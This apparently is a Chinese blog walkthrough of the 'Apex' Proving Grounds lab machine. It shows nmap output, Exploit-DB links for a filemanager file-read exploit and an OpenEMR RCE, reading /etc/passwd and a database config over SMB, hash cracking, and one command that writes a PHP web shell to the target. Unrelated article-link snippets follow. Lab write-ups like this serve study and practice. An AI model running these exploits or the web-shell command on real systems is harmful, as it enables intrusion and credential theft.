Apex pg walkthrough Intermediate
nmap扫描
┌──(root㉿kali)-[~]
└─# nmap -p- -A 192.168.157.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-18 04:47 UTC
Nmap scan report for 192.168.157.145
Host is up (0.071s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: APEX Hospital
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
| Thread ID: 33
| Capabilities flags: 63487
| Some Capabilities: SupportsLoadDataLocal, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, LongPassword, IgnoreSigpipes, SupportsCompression, Speaks41ProtocolOld, SupportsTransactions, InteractiveClient, Support41Auth, Speaks41ProtocolNew, FoundRows, LongColumnFlag, ODBCClient, ConnectWithDatabase, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: axY46T#PJa,S@%9-v,u-
|_ Auth Plugin Name: mysql_native_password
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X (90%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 4.15 - 5.8 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 (88%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: APEX
Host script results:
| smb2-time:
| date: 2024-11-18T04:50:07
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: apex
| NetBIOS computer name: APEX\x00
| Domain name: \x00
| FQDN: apex
|_ System time: 2024-11-17T23:50:05-05:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h40m00s, deviation: 2h53m14s, median: 0s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 71.09 ms 192.168.45.1
2 70.53 ms 192.168.45.254
3 71.15 ms 192.168.251.1
4 71.22 ms 192.168.157.145
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.04 seconds
nmap扫描我们发现smba是开着的
查看他的共享文件

通过dirsearch发现两个路径
已开
192.168.157.145/openemr/
192.168.157.145/filemanager/
已开是想通过openemr 这个框架exp来 打 但是发现都需要密码登录到后台才有机会执行找到的exp

所以就将目光转移到192.168.157.145/filemanager/
搜索exp找到了一个能用的exp
https://www.exploit-db.com/exploits/49359?source=post_page-----834e61a9fc03--------------------------------
试着读取etc/passwd

能成功执行 我首先想到的就是直接读取filemanager的mysql配置文件因为3306端口是开放的
但是问题出现了
我阅读了exp的代码 大概逻辑就是会 将读取的文件复制到192.168.157.145/source/ 目录下 然后访问source读取我们想要的文件
所以就算我们将mysql配置的php代码复制 source目录中还是一个php文件 我们开不到里面的明文内容
这里卡了非常久一直没突破口
后来看了看wp
原来我们错过了一个关键信息
发现source下还有个documents目录 点进去看看 发现这不就是我们最开始发现的smba共享目录吗

也就是说我们只要将mysql配置文件复制到documents目录下我们就可以利用smba下载并读取了 确实是我疏忽了
查看exp并改动文件所复制到的路径

然后利用exp将/var/www/openemr/sites/default/sqlconf.php 复制到documents下 这里sqlconf.php 是我们信息收集上github上找到的路径
利用smb下载并读取文件
查看配置文件

进数据库看密码 发现是加密的 爆破出来

进后台后查看版本

跟具版本发现exp 有好多exp 找了好久才找到
https://www.exploit-db.com/exploits/45161
这里估计是靶场网络环境除了问题
我先是写了一个webshell上去
python2 exp8 http://192.168.157.145/openemr -u admin -p thedoctor -c 'echo "<?php system(\$_POST[a]);phpinfo() ?>" > /var/www/html/shell.php'
发现是成功了但是就是 反弹不了shell 我看了看wp 操作和我一模一样但我就是反弹不了 执行的命令和反弹端口都一样也不行

没办法只能止步于此
但是我看了看后面提权非常简单
就是su root 加上 我们之前得到的密码就ok了
只能怪pg靶场不稳定了 整体算下来这个靶场做了大概5-6小时 确实小难
Apex pg walkthrough Intermediate的更多相关文章
- 简析服务端通过GT导入SHP至PG的方法
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...
- salesforce 零基础学习(六十一)apex:component简单使用以及图片轮转播放的实现
有的时候,我们项目有可能有类似需求:做一个简单的图像轮转播放功能,不同的VF页面调用可以显示不同的图片以及不同的图片描述.这种情况,如果在每个页面单独处理相关的图像轮转播放则显得代码特别冗余,此种情况 ...
- salesforce 零基础学习(五十九)apex:param使用以及相关的疑惑
做web项目难免要从一个页面传参数,解析参数中的值进行相关处理以后跳转到其他页面,VF中也不例外.使用传参的标签为apex:param. apex:param标签不可以单独使用,需要作为子标签嵌套在相 ...
- Salesforce Apex 使用JSON数据的示例程序
本文介绍了一个在Salesforce Apex中使用JSON数据的示例程序, 该示例程序由以下几部分组成: 1) Album.cls, 定了了封装相关字段的数据Model类 2) RestClient ...
- Salesforce Apex页面中调用远端网络服务
本文介绍了Salesforce Apex页面中调用远端网络服务的实现过程. ### 注册远端网络服务 在使用Apex代码调用远端网络服务之前,首先需要在Salesforce中注册远端网络服务地址, 本 ...
- Salesforce Apex 开发环境设置和Hello World示例
本文介绍了Salesforce Apex开发环境的设置以及一个简单的Hello World示例的实现过程. Salesforce开发环境 Salesforce通过http://developer.fo ...
- Bootstap datetimepicker报错TypeError: intermediate value
Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...
- APEX初步
APEX是SFDC中用于开发的语言.语法上类似JAVA等面向对象的语言,运行起来类似数据库中的存储过程.可以在SFDC事件中添加业务逻辑,操作相关数据和用在Visual Force页面中. 保存,编译 ...
- PG 中 JSON 字段的应用
13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...
- pg gem 安装(postgresql94)
使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...
随机推荐
- 《刚刚问世》系列初窥篇-Java+Playwright自动化测试-4-启动浏览器-基于Maven(详细教程)
1.简介 上一篇文章,宏哥已经在搭建的java项目环境中添加jar包实践了如何启动浏览器,今天就在基于maven项目的环境中给小伙伴们或者童鞋们演示一下如何启动浏览器. 2.eclipse中新建mav ...
- element 动态合并表格---进阶版
错误展示 正确展示 如果使用上次博客写的element 动态合并表格那么会出现上述图片情况,所以对其进行完善实现下图(正确展示)情况 处理函数 mergeTableRow(data, merge) { ...
- 20241120 校内模拟赛 T3 题解
题目描述 给定一个数列 \(A\),数列的元素取值范围为 \([1,m]\). 请计算有多少个非空子区间满足以下条件:该区间内每个元素的出现次数都相同(没有出现的元素视为出现 \(0\) 次). 例如 ...
- mkdir递归创建文件夹
mkdir -p 能递归创建文件夹 mkdir 只能创建一级文件夹,如果父文件夹不存在 则报错,所以如果你想用一个很确定的路径 在SHELL脚本里面可以直接写 mkdir -p /home/log/ ...
- 鸿蒙NEXT开发案例:保质期计算
[引言] 保质期计算应用是一个基于鸿蒙NEXT框架开发的数字和文本统计组件.用户可以输入商品的生产日期和保质期天数,应用会自动计算并展示相关信息,包括保质状态.剩余天数.生产日期和到期日期. [环境准 ...
- Qt 窗口随控件变换大小
QVBoxLayout* verticalLayout = new QVBoxLayout(this); verticalLayout->setSizeConstraint(QLayout::S ...
- vs2017 opencv 编译错误 error C2665: “exp”: 3 个重载中没有一个可以转换所有参数类型
编译错误 - error C2665: "exp": 3 个重载中没有一个可以转换所有参数类型,在GenericPacketMath.h文件, 是因为使用了Eigen3.4库,只要 ...
- sqlserver配置分发实现主备
方案总体说明 本方案采用"发布-订阅模式" 由主服务器进行发布消息,备份服务器进行订阅 当主服务器数据发生变更时,就会发布消息,备份服务器读取消息进行同步更新,中间过程延迟比较短. ...
- 【Amadeus原创】查看正在运行的docker run参数
如何查看一个运行docker 容器的docker run启动参数,假设没有使用docker-compose这样的编排工具. 现在我如何进行重启,如何找回此前的启动命令? [root@mysql3 ~] ...
- Flutter 长列表优化
Flutter 长列表优化 固定列表和长列表的区别 固定列表中的组件,每次都会被重新构建 ListView.builder会按需构建列表元素,也就是只有那些可见得元素才会调用itemBuilder 构 ...